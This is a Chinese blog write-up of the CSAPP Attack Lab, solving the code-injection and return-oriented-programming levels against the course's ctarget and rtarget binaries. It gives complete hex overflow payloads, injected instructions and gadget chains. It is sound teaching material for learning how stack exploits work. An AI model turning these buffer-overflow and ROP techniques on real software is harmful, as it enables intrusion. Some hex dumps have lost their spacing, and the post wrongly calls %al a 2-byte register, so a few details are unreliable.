CSAPP Lab -- Attack Lab
5 人贊了文章
準備
如同封面圖片,這次Lab可以給你體驗做一個"hacker"的感覺。
和Bomb Lab一樣,這個實驗也是CSAPP中第三章的配套實驗,前者主要是利用基礎的彙編知識來讀彙編代碼並解決問題,而Attack Lab則需要弄明白控制和過程在機器級代碼中的表現形式和運行過程。
這個實驗分為兩個部分,分別是code injection attacks和ROP,這是攻擊程序的兩種方法。在開始實驗之前,可以準備一些資料:
- lab 下載地址
- WriteUp <- 很重要
- cs15213 Attack Lab
- GDB手冊
介紹一下,整個Lab的大致流程就是,你輸入一個字元串,然後利用stack的buffer overflow,我們就可以修改stack中的數據,然後就可以改變程序的運行,達成我們的目的。具體到這個Lab,我們要完成的目標就是通過test()
函數中的getbuf()
這個入口,來完成對stack某些部分的覆蓋,利用兩種攻擊程序的技術,讓程序調用我們希望調用的函數。
為了能夠方便地分析代碼和debug,推薦一個GDB的衍生版 pwndbg。
Like this:
Part I : Code Injection Attacks
level 1
這個部分很簡單,要求我們輸入一個字元串,利用溢出來重寫stack中的getbuf函數ret的地址,讓程序調用函數touch1
。先objdump -d ctarget.c > ctarget.d
反彙編得到彙編代碼。
00000000004017a8 <getbuf>: 4017a8: 48 83 ec 28 sub $0x28,%rsp 4017ac: 48 89 e7 mov %rsp,%rdi 4017af: e8 ac 03 00 00 callq 401b60 <Gets> 4017b4: b8 01 00 00 00 mov $0x1,%eax 4017b9: 48 83 c4 28 add $0x28,%rsp 4017bd: c3 retq
根據這段代碼可以確定,getbuf在棧中分配了0x28bytes的內存來存儲輸入的字元串。回想一下CSAPP中程序調用時棧的結構,我們會把返回地址存在棧中,然後再去調用函數。如果我們輸入的字元串長度超過40,就可以覆蓋掉getbuf的返回地址了,所以,我們只需要把輸入的第40-47個字元填寫為touch1
函數的地址就OK了。
touch1
的地址為00000000004017c0
,按照前面的思路,填寫字元串就好了:
00 00 00 00 00 00 00 0000 00 00 00 00 00 00 0000 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 17 40 00 00 00 00 00
這裡需要注意的是,我們輸入的字元應該用兩位十六進位數來表示ascii碼,然後通過./hex2raw
來將其轉換成字元串。另外,因為我使用的是ubuntu,數據都是用小端法來保存的,所以低位在前。
level 2
和level1相比,level2需要調用的touch2
函數有一個unsighed
型的參數,而這個參數就是lab提供的cookie。所以,這次我們在ret到touch2
之前,需要先把cookie放在寄存器%rdi
中(第一個參數通過%rdi
傳遞)。
為了達到這個目的,我們需要在stack中植入指令movq $0x59b997fa, %rdi
。所以,考慮在第一次ret的時候,將這個地址寫為這條指令的地址,然後再ret到touch2
。
首先,通過
unix> gcc -c example.sunix> objdump -d example.o > example.d
來把指令轉換成十六進位的形式,然後放在字元串的開頭。這個時候,我們需要得到這個指令在棧中的具體位置,可以用GDB來調試獲得:
所以,將第一次ret的地址寫為這個。然後,再把touch2
的地址放在這後面就行了:
bf fa 97 b9 59 c3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 dc 61 55 00 00 00 00 ec 17 40 00 00 00 00 00
整個流程就是: getbuf => ret => 0x5561dc78 => movq $0x59b997fa, %rdi => ret => 0x4017ec
。
level 3
和level2一樣,touch3
也需要傳入cookie,但是要求以字元串的形式傳入。所以,我們要做的就是,把字元串形式的cookie放在stack中,然後再把它的地址放在%rdi
中,再就和touch2
中一樣了。
但是,在這裡有一個問題,我們不能夠單純地像level2中那樣做,因為touch3中調用了hexmatch
函數,而這個函數會在棧中申請110bytes的空間,這樣有可能將我們在stack中放置的cookie給覆蓋掉。
為了解決這樣的問題,我們可以考慮將cookie放在更上面的位置,讓hexmatch
夠不著,或者直接通過植入指令來修改%rsp
棧指針的值。
這裡採用了第二種方案:
fa 18 40 00 00 00 00 00 #touch3的地址bf 90 dc 61 55 48 83 ec #mov edi, 0x5561dc9030 c3 00 00 00 00 00 00 #sub rsp, 0x30 ret35 39 62 39 39 37 66 61 #cookie00 00 00 00 00 00 00 0080 dc 61 55 #stack top的地址+8
Part II: Return-Oriented Programming
level 2
level2對應Part I中的level2,不同的是,在Part II:
- stack的地址會隨機化
- 不能夠ret到stack中來執行指令在這樣的限制下,我們不能使用代碼注入的方式來進行攻擊了,Write up中介紹了ROP這種方式,大致的思想就是我們把棧中放上很多地址,而每次ret都會到一個Gadget(小的代碼片段,並且會ret),這樣就可以形成一個程序鏈。通過將程序自身(./rtarget
)的指令來完成我們的目的。
Write up提示可以用movq
, popq
等來完成這個任務。利用popq
我們可以把數據從棧中轉移到寄存器中,而這個恰好是我們所需要的(將cookie放到%rdi
中)。
思路確定了,接下來只需要根據Write up提供的encoding table來查找popq
對應encoding是否在程序中出現了。很容易找到popq %rdi
對應的編碼5f在這裡出現,並且下一條就是ret:
402b18: 41 5f pop %r15402b1a: c3 retq
所以答案就是:
00 00 00 00 00 00 00 0000 00 00 00 00 00 00 0000 00 00 00 00 00 00 0000 00 00 00 00 00 00 0000 00 00 00 00 00 00 0019 2b 40 00 00 00 00 00 #pop %rdifa 97 b9 59 00 00 00 00 #cookieec 17 40 00 00 00 00 00 #touch2
level 3
最後一個題就比較麻煩了,因為它需要處理好cookie存放的位置,並且需要找到能夠對%rsp
進行運算,然後保存在%rdi
中的一系列Gadget。
首先解決第一個問題,因為我們沒有實現sub
操作的可能性,所以cookie只能放到比較高的位置,而不能夠通過修改%rsp
來保護cookie不被覆蓋。
然後處理第二個問題,我們必須找到一個能夠實現加法或者減法運算的Gadget,這個函數帶來了希望:
00000000004019d6 <add_xy>: 4019d6: 48 8d 04 37 lea (%rdi,%rsi,1),%rax 4019da: c3 retq
我們可以通過這個函數來實現加法,因為lea (%rdi,%rsi,1) %rax
就是%rax = %rdi + %rsi。所以,只要能夠讓%rdi和%rsi其中一個保存%rsp,另一個保存從stack中pop出來的偏移值,就可以表示cookie存放的地址,然後把這個地址mov到%rdi
就大功告成了。
對應Write up裡面的encoding table會發現,從%rax
並不能直接mov到%rsi
,而只能通過%eax
->%edx
->%ecx
->%esi
來完成這個。所以,兵分兩路:
%rsp
存放到%rdi
中- 2.把偏移值(需要確定指令數後才能確定)存放到%rsi
中然後,再用lea
那條指令把這兩個結果的和存放到%rax
中,再movq
到%rdi
中就完成了。
值得注意的是,上面兩路完成任務的寄存器不能互換,因為從%eax
到%esi
這條路線上面的mov都是4個byte的操作,如果對%rsp
的值採用這條路線,%rsp
的值會被截斷掉,最後的結果就錯了。但是偏移值不會,因為4個bytes足夠表示了。
另外,在網上發現了一些其他做法,例如這篇文章。在文章中,他的主要思路是利用在這裡:
00000000004019d6 <add_xy>: 4019d6: 48 8d 04 37 lea (%rdi,%rsi,1),%rax 4019da: c3 retq
發現的04 37
表示add $0x37, %al
,利用這個直接對%rax
的值進行修改。但是這種做法是不完全正確的,因為%al
只表示2個bytes,如果出現溢出的情況,那樣計算出來的cookie的地址就是錯誤的,所以這種方法會有fail的情況發生。
最後結果:
00 00 00 00 00 00 00 0000 00 00 00 00 00 00 0000 00 00 00 00 00 00 0000 00 00 00 00 00 00 0000 00 00 00 00 00 00 00ad 1a 40 00 00 00 00 00 #movq %rsp, %rax a2 19 40 00 00 00 00 00 #movq %rax, %rdiab 19 40 00 00 00 00 00 #popq %rax48 00 00 00 00 00 00 00 #偏移值dd 19 40 00 00 00 00 00 #mov %eax, %edx34 1a 40 00 00 00 00 00 #mov %edx, %ecx13 1a 40 00 00 00 00 00 #mov %ecx, %esid6 19 40 00 00 00 00 00 #lea (%rsi, %rdi, 1) %raxa2 19 40 00 00 00 00 00 #movq %rax, %rdifa 18 40 00 00 00 00 00 #touch335 39 62 39 39 37 66 61 #cookie
到這裡,第三章對應的兩個Lab就做完了。通過這兩個Lab,感覺對GDB的使用更熟練了,也對程序的運行有了更深入的認識。這兩個Lab很良心,從淺到深,循循善誘。根據Write up的提示,可以減少很多麻煩。
推薦閱讀:
※馬歆:編程要從娃娃抓起,邏輯思維能力貫穿一生
※新手如何開始學編程?
※Ruby 又要添加綠色線程了 Thread::Green
※Learn to code from good webs
※MakeBlock mBot小車 項目活動 教學設計目錄